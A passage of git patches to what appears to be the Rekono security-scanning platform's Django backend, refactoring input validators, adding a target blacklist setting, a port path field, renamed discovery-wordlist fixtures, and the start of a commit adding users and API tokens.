bool(regex_matches) ) - raise ValidationError("Value contains unallowed characters") - - -def validate_number_value(value: int, min: int, max: int) -> None: - """Validate if number is in the allowed range. - - Args: - value (int): Number value to be validated - min (int): Min allowed value - max (int): Max allowed value - - Raises: - ValidationError: Raised if value is not in the allowed range - """ - if value < min or value > max: - logger.warning( - f"[Security] Invalid number value {value} that is not in the range {min} - {max}" - ) - raise ValidationError("Number value is not in the allowed range") - - -def validate_url(value: str) -> None: - url = urlparse(value) - if not url.scheme or not url.netloc: - logger.warning(f"[Security] Invalid URL value {value}") - raise ValidationError("URL value is invalid") - - -def validate_name(value: str) -> None: - """Validate if name is valid based on regex. - - Args: - value (str): Name value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, NAME_REGEX) - - -def validate_text(value: str) -> None: - """Validate if text is valid based on regex. - - Args: - value (str): Text value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, TEXT_REGEX) - - -def validate_cve(value: str) -> None: - """Validate if path is valid based on regex. - - Args: - value (str): CVE value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, CVE_REGEX) - - -def validate_telegram_token(value: str) -> None: - """Validate if Telegram token is valid based on regex. - - Args: - value (str): Telegram token value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, TELEGRAM_TOKEN_REGEX) - - -def validate_defect_dojo_api_key(value: str) -> None: - """Validate if Defect-Dojo API key is valid based on regex. - - Args: - value (str): Defect-Dojo API key value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, DD_KEY_REGEX) - - -def validate_secret(value: str) -> None: - """Validate if secret is valid based on regex. - - Args: - value (str): Secret value - - Raises: - ValidationError: Raised if value doesn't match the expected regex - """ - validate_text_value(value, SECRET_REGEX) - - -def validate_number(value: int) -> None: - """Validate if number is valid based on min and max values. - - Args: - value (int): Number value - - Raises: - ValidationError: Raised if value is lower or greater than the expected range - """ - validate_number_value(value, 1, 999999) - - -def validate_time_amount(value: int) -> None: - """Validate if specific amount of time is valid based on min and max values. - - Args: - value (int): Amount of time - - Raises: - ValidationError: Raised if value is lower or greater than the expected range - """ - validate_number_value(value, 1, 1000) - - -def validate_upload_file_size(value: int) -> None: - validate_number_value(value, 128, 1024) + if invalid_input: + logger.warning( + f"[Security] Invalid value that doesn't match the regex '{self.regex}'" + ) + raise ValidationError(self.message, code=self.code, params={"value": value}) + + +class TargetValidator(RegexValidator): + def __init__( + self, + regex: Any | None = ..., + message: Any | None = ..., + code: str | None = "target", + inverse_match: bool | None = False, + flags: RegexFlag | None = None, + ) -> None: + self.code = code + flags = None # Needed to prevent TypeError + super().__init__(regex, message, code, inverse_match, flags) + self.target_blacklist = CONFIG.base_target_blacklist + settings = Settings.objects.filter(pk=1) + if settings.exists(): + self.target_blacklist += StringAsListField().to_representation( + settings.first().target_blacklist + ) + + def __call__(self, value: str | None) -> None: + super().__call__(value) + if value in self.target_blacklist: + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) + for denied_value in self.target_blacklist: + if re.fullmatch(denied_value, value): + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) + for address_class, network_class in [ + (ipaddress.IPv4Address, ipaddress.IPv4Network), + (ipaddress.IPv6Address, ipaddress.IPv6Network), + ]: + try: + address = address_class(value) + network = network_class(denied_value) + if address in network: + raise ValidationError( + f"Target belongs to a network that is disallowed by policy", + code="target", + params={"value": value}, + ) + except ipaddress.AddressValueError: + pass diff --git a/src/backend/settings/__init__.py b/src/backend/settings/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/settings/admin.py b/src/backend/settings/admin.py new file mode 100644 index 000000000..244f83ea6 --- /dev/null +++ b/src/backend/settings/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from settings.models import Settings + +# Register your models here. + +admin.site.register(Settings) diff --git a/src/backend/settings/apps.py b/src/backend/settings/apps.py new file mode 100644 index 000000000..36986e9c3 --- /dev/null +++ b/src/backend/settings/apps.py @@ -0,0 +1,29 @@ +import os +from pathlib import Path +from typing import Any + +from django.apps import AppConfig +from django.core import management +from django.core.management.commands import loaddata +from django.db.models.signals import post_migrate +from rekono.settings import CONFIG + + +class SettingsConfig(AppConfig): + name = "settings" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self.load_input_types_model, sender=self) + + def load_input_types_model(self, **kwargs: Any) -> None: + """Load input types fixtures in database.""" + from settings.models import Settings + + if Settings.objects.exists(): # Check if default data is loaded + return + path = os.path.join(Path(__file__).resolve().parent, "fixtures") + management.call_command( + loaddata.Command(), os.path.join(path, "1_default.json") + ) diff --git a/src/backend/settings/fixtures/1_default.json b/src/backend/settings/fixtures/1_default.json new file mode 100644 index 000000000..96a881dd5 --- /dev/null +++ b/src/backend/settings/fixtures/1_default.json @@ -0,0 +1,10 @@ +[ + { + "model": "settings.Settings", + "pk": 1, + "fields": { + "max_uploaded_file_mb": 512, + "target_blacklist": null + } + } +] \ No newline at end of file diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py new file mode 100644 index 000000000..ad2758e9a --- /dev/null +++ b/src/backend/settings/models.py @@ -0,0 +1,25 @@ +from django.core.validators import MaxValueValidator, MinValueValidator +from django.db import models + +# Create your models here. + + +class Settings(models.Model): + # Max size in MB for uploaded files + max_uploaded_file_mb = models.IntegerField( + default=512, validators=[MinValueValidator(128), MaxValueValidator(1024)] + ) + target_blacklist = models.TextField(blank=True, null=True) + + # Telegram token to deploy the Telegram bot + # telegram_bot_token = models.TextField( + # blank=True, null=True, validators=[validate_telegram_token] + # ) + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.__class__.__name__ diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py new file mode 100644 index 000000000..eb8da8272 --- /dev/null +++ b/src/backend/settings/serializers.py @@ -0,0 +1,39 @@ +from framework.fields import StringAsListField +from rest_framework.serializers import ModelSerializer +from security.input_validation import Regex, Validator +from settings.models import Settings + + +class SettingsSerializer(ModelSerializer): + """Serializer to manage system settings via API.""" + + # # Telegram bot name obtained automatically using the Telegram token + # telegram_bot_name = serializers.SerializerMethodField(method_name='get_telegram_bot_name', read_only=True) + # # Telegram token in a protected way + # telegram_bot_token = ProtectedStringValueField(required=False, allow_null=True) + target_blacklist = StringAsListField( + Validator(Regex.TARGET_REGEX.value, code="target_blacklist").__call__, + required=False, + allow_null=True, + ) + + class Meta: + model = Settings + fields = ( + "id", + "max_uploaded_file_mb", + "target_blacklist", + # "telegram_bot_name", + # "telegram_bot_token", + ) + + # def get_telegram_bot_name(self, instance: System) -> Optional[str]: + # """Get Telegram bot name using the Telegram bot. + + # Args: + # instance (System): System instance. Not used + + # Returns: + # Optional[str]: Telegram bot name + # """ + # return get_telegram_bot_name() diff --git a/src/backend/settings/urls.py b/src/backend/settings/urls.py new file mode 100644 index 000000000..5b316d45b --- /dev/null +++ b/src/backend/settings/urls.py @@ -0,0 +1,9 @@ +from rest_framework.routers import SimpleRouter +from settings.views import SettingsViewSet + +# Register your views here. + +router = SimpleRouter() +router.register("settings", SettingsViewSet) + +urlpatterns = router.urls diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py new file mode 100644 index 000000000..82bebd6d5 --- /dev/null +++ b/src/backend/settings/views.py @@ -0,0 +1,17 @@ +from framework.views import BaseViewSet + +# from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from settings.models import Settings +from settings.serializers import SettingsSerializer + +# Create your views here. + + +class SettingsViewSet(BaseViewSet): + """System ViewSet that includes: retrieve and update features.""" + + queryset = Settings.objects.all() + serializer_class = SettingsSerializer + http_method_names = ["get", "put"] # Required to remove PATCH method + # Required to remove unneeded ProjectMemberPermission + # permission_classes = [IsAuthenticated, DjangoModelPermissions] diff --git a/src/backend/target_ports/filters.py b/src/backend/target_ports/filters.py index 72fdf0f17..2db4daa8c 100644 --- a/src/backend/target_ports/filters.py +++ b/src/backend/target_ports/filters.py @@ -15,4 +15,5 @@ class Meta: "target__project__name": ["exact", "icontains"], "target__target": ["exact", "icontains"], "port": ["exact"], + "path": ["exact", "icontains"], } diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index d9d2213fd..8110ae592 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -1,10 +1,11 @@ from typing import Any, Dict +from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import validate_number +from security.input_validation import Regex, Validator from targets.models import Target # Create your models here. @@ -16,7 +17,15 @@ class TargetPort(BaseInput): target = models.ForeignKey( Target, related_name="target_ports", on_delete=models.CASCADE ) - port = models.IntegerField(validators=[validate_number]) + port = models.IntegerField( + validators=[MinValueValidator(0), MaxValueValidator(65535)] + ) + path = models.TextField( + max_length=100, + validators=[Validator(Regex.PATH.value, code="path")], + blank=True, + null=True, + ) filters = [BaseInput.Filter(type=int, field="port")] @@ -37,7 +46,9 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: InputKeyword.HOST.name.lower(): self.target.target, InputKeyword.PORT.name.lower(): self.port, InputKeyword.PORTS.name.lower(): [self.port], - InputKeyword.URL.name.lower(): self._get_url(self.target.target, self.port), + InputKeyword.URL.name.lower(): self._get_url( + self.target.target, self.port, self.path + ), } if accumulated and InputKeyword.PORTS.name.lower() in accumulated: output[InputKeyword.PORTS.name.lower()] = accumulated[ diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index cfb9a9cb8..939dbe840 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -16,6 +16,7 @@ class Meta: "id", "target", "port", + "path", "authentication", ) # Read only fields diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py index 95bcd5e09..e422d1332 100644 --- a/src/backend/target_ports/views.py +++ b/src/backend/target_ports/views.py @@ -13,8 +13,8 @@ class TargetPortViewSet(BaseViewSet): serializer_class = TargetPortSerializer filterset_class = TargetPortFilter # Fields used to search target ports - search_fields = ["port"] - ordering_fields = ["id", "target", "port"] + search_fields = ["port", "path"] + ordering_fields = ["id", "target", "port", "path"] http_method_names = [ "get", "post", diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 9c2705504..efe68cc70 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -9,7 +9,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import IP_RANGE_REGEX +from security.input_validation import Regex, TargetValidator from targets.enums import TargetType # Create your models here. @@ -21,7 +21,9 @@ class Target(BaseInput): project = models.ForeignKey( Project, related_name="targets", on_delete=models.CASCADE ) - target = models.TextField(max_length=100) # Target IP, domain or network + target = models.TextField( + max_length=100, validators=[TargetValidator(Regex.TARGET.value)] + ) type = models.TextField(max_length=10, choices=TargetType.choices) # Target type filters = [BaseInput.Filter(type=TargetType, field="type")] @@ -42,23 +44,6 @@ def get_type(target: str) -> str: Returns: str: Target type associated to the target """ - if target in [ - "127.0.0.1", - "localhost", - "frontend", - "backend", - "postgres", - "redis", - "initialize", - "tasks-worker", - "executions-worker", - "findings-worker", - "emails-worker", - "telegram-bot", - "nginx", - ]: - # Target is invalid - raise ValidationError({"target": f"Invalid target {target}"}) try: # Check if target is an IP address (IPv4 or IPv6) ip = ipaddress.ip_address(target) @@ -74,7 +59,7 @@ def get_type(target: str) -> str: except ValueError: pass # Target is not a network # Check if target is an IP range - if bool(re.fullmatch(IP_RANGE_REGEX, target)): + if bool(re.fullmatch(Regex.IP_RANGE.value, target)): return TargetType.IP_RANGE try: socket.gethostbyname(target) # Check if target is a Domain @@ -84,9 +69,9 @@ def get_type(target: str) -> str: logger.warning(f"[Security] Invalid target {target}") # Target is invalid or target type is not supported raise ValidationError( - { - "target": f"Invalid target {target}. IP address, IP range or domain is required" - } + f"Invalid target. IP address, IP range or domain is required", + code="target", + params={"value": target}, ) def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index de19835d3..33add9364 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -41,9 +41,6 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: Args: attrs (Dict[str, Any]): Provided data - Raises: - ValidationError: Raised if provided data is invalid - Returns: Dict[str, Any]: Data after validation process """ diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index 41f14f044..6ad1c7e9d 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -14,10 +14,10 @@ class WordlistsConfig(AppConfig): def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_resources_model, sender=self) + post_migrate.connect(self.load_wordlists_model, sender=self) post_migrate.connect(self.update_default_wordlists_size, sender=self) - def load_resources_model(self, **kwargs: Any) -> None: + def load_wordlists_model(self, **kwargs: Any) -> None: """Load input types fixtures in database.""" from wordlists.models import Wordlist diff --git a/src/backend/wordlists/fixtures/1_wordlists.json b/src/backend/wordlists/fixtures/1_wordlists.json index ac2db9cf3..cd8cde674 100644 --- a/src/backend/wordlists/fixtures/1_wordlists.json +++ b/src/backend/wordlists/fixtures/1_wordlists.json @@ -1,338 +1,310 @@ [ { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 1, "fields": { "name": "Common (dirb)", "type": "Endpoint", "path": "/usr/share/dirb/wordlists/common.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 2, "fields": { "name": "Big (dirb)", "type": "Endpoint", "path": "/usr/share/dirb/wordlists/big.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 3, "fields": { "name": "Small", "type": "Endpoint", "path": "/usr/share/dirb/wordlists/small.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 4, "fields": { "name": "Spanish", "type": "Endpoint", "path": "/usr/share/dirb/wordlists/spanish.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 5, "fields": { "name": "Apache", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/apache.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 6, "fields": { "name": "Big (seclists)", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/big.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 7, "fields": { "name": "Common (seclists)", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/common.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 8, "fields": { "name": "Endpoints list for Dirsearch", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/dirsearch.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 9, "fields": { "name": "Nginx", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/nginx.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 10, "fields": { "name": "Swagger", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/swagger.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 11, "fields": { "name": "Backdoor Web Shells", "type": "Endpoint", "path": "/usr/share/seclists/Web-Shells/backdoor_list.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 12, "fields": { "name": "WebLogic", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/weblogic.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 13, "fields": { "name": "WebSphere", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/websphere.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 14, "fields": { "name": "Drupal 7.20", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/URLs/urls-Drupal-7.20.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 15, "fields": { "name": "Joomla 3.0.3", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/URLs/urls-joomla-3.0.3.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 16, "fields": { "name": "SAP", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/URLs/urls-SAP.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 17, "fields": { "name": "WordPress 3.3.1", "type": "Endpoint", "path": "/usr/share/seclists/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 18, "fields": { "name": "Italian", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/italian-subdomains.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 19, "fields": { "name": "Namelist", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/namelist.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 20, "fields": { "name": "Shubs subdomains", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/shubs-subdomains.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 21, "fields": { "name": "Shubs StackOverflow", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/shubs-stackoverflow.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 22, "fields": { "name": "Top 1 Million: 5000", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 23, "fields": { "name": "Top 1 Million: 20000", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 24, "fields": { "name": "Top 1 Million: 110000", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 25, "fields": { "name": "Deep Magic: Top 500", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/deepmagic.com-prefixes-top500.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 26, "fields": { "name": "Deep Magic: Top 50000", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/deepmagic.com-prefixes-top50000.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 27, "fields": { "name": "Bitquark: Top 100000", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt", "checksum": null, - "size": null, - "creator": null + "size": null } }, { - "model": "resources.wordlist", + "model": "wordlists.wordlist", "pk": 28, "fields": { "name": "Combined subdomains", "type": "Subdomain", "path": "/usr/share/seclists/Discovery/DNS/combined_subdomains.txt", "checksum": null, - "size": null, - "creator": null + "size": null } } ] \ No newline at end of file diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index d1cc3aa06..1f6810c56 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -2,20 +2,23 @@ from typing import Any, Dict from django.db import models -from framework.models import BaseInput from framework.enums import InputKeyword +from framework.models import BaseInput # from likes.models import LikeBase -from security.file_upload import check_checksum -from security.input_validation import validate_name - +from security.file_handler import FileHandler +from security.input_validation import Regex, Validator from wordlists.enums import WordlistType # Create your models here. class Wordlist(BaseInput): - name = models.TextField(max_length=100, unique=True, validators=[validate_name]) + name = models.TextField( + max_length=100, + unique=True, + validators=[Validator(Regex.NAME.value, code="name")], + ) type = models.TextField(max_length=10, choices=WordlistType.choices) path = models.TextField(max_length=200, unique=True) checksum = models.TextField(max_length=128, blank=True, null=True) @@ -39,9 +42,9 @@ def filter(self, input: Any) -> bool: """ check = os.path.isfile(self.path) # Check if wordlist file exists if check and self.checksum: # If checksum exists - check = check and check_checksum( + check = check and FileHandler().validate_filepath_checksum( self.path, self.checksum - ) # Check wordlist file hash + ) if input.filter: # If input filter is established return super().filter(input) and check return check diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index 49ebea6ce..ce2b09e98 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -2,17 +2,18 @@ import uuid from typing import Any, Dict +from rekono.settings import CONFIG +from rest_framework import serializers +from security.file_handler import FileHandler + # from likes.serializers import LikeBaseSerializer from wordlists.models import Wordlist -from rest_framework import serializers -from security import file_upload # from users.serializers import SimplyUserSerializer -from rekono.settings import CONFIG - -class WordlistSerializer(serializers.ModelSerializer, LikeBaseSerializer): +# LikeBaseSerializer +class WordlistSerializer(serializers.ModelSerializer): """Serializer to manage wordlists via API.""" # Wordlist file, to allow the wordlist files upload to the server @@ -47,16 +48,11 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: Args: attrs (Dict[str, Any]): Provided data - Raises: - ValidationError: Raised if provided data is invalid - Returns: Dict[str, Any]: Data after validation process """ attrs = super().validate(attrs) # Original data validation - file_upload.validate( - attrs["file"], ["txt", "text", ""], ["text/plain"] - ) # Validate the uploaded file type + FileHandler().validate_file(attrs["file"]) return attrs def save(self, **kwargs: Any) -> Wordlist: @@ -65,20 +61,11 @@ def save(self, **kwargs: Any) -> Wordlist: Returns: Wordlist: Instance after apply changes """ - # Generate filename - self.validated_data["path"] = os.path.join( - CONFIG.wordlists, f"{str(uuid.uuid4())}.txt" - ) - # Store uploaded file in server - self.validated_data["checksum"] = file_upload.store_file( - self.validated_data.pop("file"), self.validated_data["path"] - ) - with open( - self.validated_data["path"], "rb+" - ) as wordlist_file: # Open uploaded file - self.validated_data["size"] = len( - wordlist_file.readlines() - ) # Count entries from uploaded file + ( + self.validated_data["path"], + self.validated_data["checksum"], + self.validated_data["size"], + ) = FileHandler().store_file(self.validated_data.pop("file")) return super().save(**kwargs) diff --git a/src/backend/wordlists/urls.py b/src/backend/wordlists/urls.py index 4e1e676b4..6d34ae43e 100644 --- a/src/backend/wordlists/urls.py +++ b/src/backend/wordlists/urls.py @@ -1,9 +1,9 @@ -from resources.views import WordlistViewSet from rest_framework.routers import SimpleRouter +from wordlists.views import WordlistViewSet # Register your views here. router = SimpleRouter() -router.register('wordlists', WordlistViewSet) +router.register("wordlists", WordlistViewSet) urlpatterns = router.urls diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index 0111e6195..d238c3502 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -2,13 +2,13 @@ # from likes.views import LikeManagementView # from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated from framework.views import BaseViewSet - -# from security.authorization.permissions import WordlistCreatorPermission - +from rest_framework.serializers import Serializer from wordlists.filters import WordlistFilter from wordlists.models import Wordlist from wordlists.serializers import UpdateWordlistSerializer, WordlistSerializer +# from security.authorization.permissions import WordlistCreatorPermission + # Create your views here. From 1cb640c9b487178bd160496a21e66756342b80d7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Sep 2023 18:36:37 +0200 Subject: [PATCH 010/141] Add user model, authentication, authorization, security middleware and new API token model --- src/backend/api_tokens/__init__.py | 0 src/backend/api_tokens/admin.py | 6 + src/backend/api_tokens/apps.py | 5 + src/backend/api_tokens/filters.py | 13 + src/backend/api_tokens/models.py | 37 ++ src/backend/api_tokens/serializers.py | 25 ++ src/backend/api_tokens/urls.py | 7 + src/backend/api_tokens/views.py | 32 ++ src/backend/authentications/models.py | 6 +- src/backend/authentications/serializers.py | 2 +- src/backend/framework/exceptions.py | 16 + src/backend/framework/filters.py | 23 ++ src/backend/framework/models.py | 28 +- src/backend/framework/serializers.py | 37 ++ src/backend/framework/views.py | 126 +++++- src/backend/input_types/models.py | 4 +- src/backend/parameters/models.py | 22 +- src/backend/projects/filters.py | 7 +- src/backend/projects/models.py | 19 +- src/backend/projects/serializers.py | 69 ++-- src/backend/projects/views.py | 103 +++-- src/backend/rekono/config.py | 29 +- src/backend/rekono/properties.py | 9 +- src/backend/rekono/settings.py | 36 +- src/backend/rekono/urls.py | 3 + src/backend/requirements.txt | 2 +- src/backend/security/apps.py | 25 -- .../security/authentication/__init__.py | 0 src/backend/security/authentication/api.py | 20 + .../security/authentication/serializers.py | 40 ++ src/backend/security/authentication/urls.py | 20 + src/backend/security/authentication/views.py | 46 +++ .../security/authorization/permissions.py | 117 ++++++ src/backend/security/authorization/roles.py | 224 +++++----- src/backend/security/middleware.py | 124 ++++++ src/backend/security/utils/__init__.py | 0 .../{crypto.py => utils/cryptography.py} | 0 .../security/{ => utils}/file_handler.py | 0 .../input_validator.py} | 55 ++- src/backend/settings/models.py | 3 +- src/backend/settings/serializers.py | 2 +- src/backend/settings/views.py | 5 +- src/backend/target_ports/models.py | 12 +- src/backend/targets/models.py | 10 +- src/backend/users/__init__.py | 0 src/backend/users/admin.py | 3 + src/backend/users/apps.py | 29 ++ src/backend/users/enums.py | 11 + src/backend/users/filters.py | 76 ++++ src/backend/users/models.py | 239 +++++++++++ src/backend/users/serializers.py | 390 ++++++++++++++++++ src/backend/users/urls.py | 28 ++ src/backend/users/views.py | 221 ++++++++++ src/backend/wordlists/filters.py | 9 +- src/backend/wordlists/models.py | 17 +- src/backend/wordlists/serializers.py | 36 +- src/backend/wordlists/views.py | 21 +- 57 files changed, 2106 insertions(+), 343 deletions(-) create mode 100644 src/backend/api_tokens/__init__.py create mode 100644 src/backend/api_tokens/admin.py create mode 100644 src/backend/api_tokens/apps.py create mode 100644 src/backend/api_tokens/filters.py create mode 100644 src/backend/api_tokens/models.py create mode 100644 src/backend/api_tokens/serializers.py create mode 100644 src/backend/api_tokens/urls.py create mode 100644 src/backend/api_tokens/views.py create mode 100644 src/backend/framework/exceptions.py create mode 100644 src/backend/framework/filters.py create mode 100644 src/backend/framework/serializers.py create mode 100644 src/backend/security/authentication/__init__.py create mode 100644 src/backend/security/authentication/api.py create mode 100644 src/backend/security/authentication/serializers.py create mode 100644 src/backend/security/authentication/urls.py create mode 100644 src/backend/security/authentication/views.py create mode 100644 src/backend/security/authorization/permissions.py create mode 100644 src/backend/security/middleware.py create mode 100644 src/backend/security/utils/__init__.py rename src/backend/security/{crypto.py => utils/cryptography.py} (100%) rename src/backend/security/{ => utils}/file_handler.py (100%) rename src/backend/security/{input_validation.py => utils/input_validator.py} (62%) create mode 100644 src/backend/users/__init__.py create mode 100644 src/backend/users/admin.py create mode 100644 src/backend/users/apps.py create mode 100644 src/backend/users/enums.py create mode 100644 src/backend/users/filters.py create mode 100644 src/backend/users/models.py create mode 100644 src/backend/users/serializers.py create mode 100644 src/backend/users/urls.py create mode 100644 src/backend/users/views.py diff --git a/src/backend/api_tokens/__init__.py b/src/backend/api_tokens/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/api_tokens/admin.py b/src/backend/api_tokens/admin.py new file mode 100644 index 000000000..baaf819ca --- /dev/null +++ b/src/backend/api_tokens/admin.py @@ -0,0 +1,6 @@ +from api_tokens.models import ApiToken +from django.contrib import admin + +# Register your models here. + +admin.site.register(ApiToken) diff --git a/src/backend/api_tokens/apps.py b/src/backend/api_tokens/apps.py new file mode 100644 index 000000000..38b076c36 --- /dev/null +++ b/src/backend/api_tokens/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class ApiTokensConfig(AppConfig): + name = "api_tokens" diff --git a/src/backend/api_tokens/filters.py b/src/backend/api_tokens/filters.py new file mode 100644 index 000000000..b61ffca82 --- /dev/null +++ b/src/backend/api_tokens/filters.py @@ -0,0 +1,13 @@ +from api_tokens.models import ApiToken +from django_filters.rest_framework import FilterSet + + +class ApiTokenFilter(FilterSet): + """FilterSet to filter Project entities.""" + + class Meta: + model = ApiToken + fields = { + "name": ["exact", "icontains"], + "expiration": ["gte", "lte", "exact"], + } diff --git a/src/backend/api_tokens/models.py b/src/backend/api_tokens/models.py new file mode 100644 index 000000000..9b86e3a2d --- /dev/null +++ b/src/backend/api_tokens/models.py @@ -0,0 +1,37 @@ +from django.db import models +from framework.models import BaseModel +from rekono.settings import AUTH_USER_MODEL +from rest_framework.authtoken.models import Token +from security.utils.input_validator import 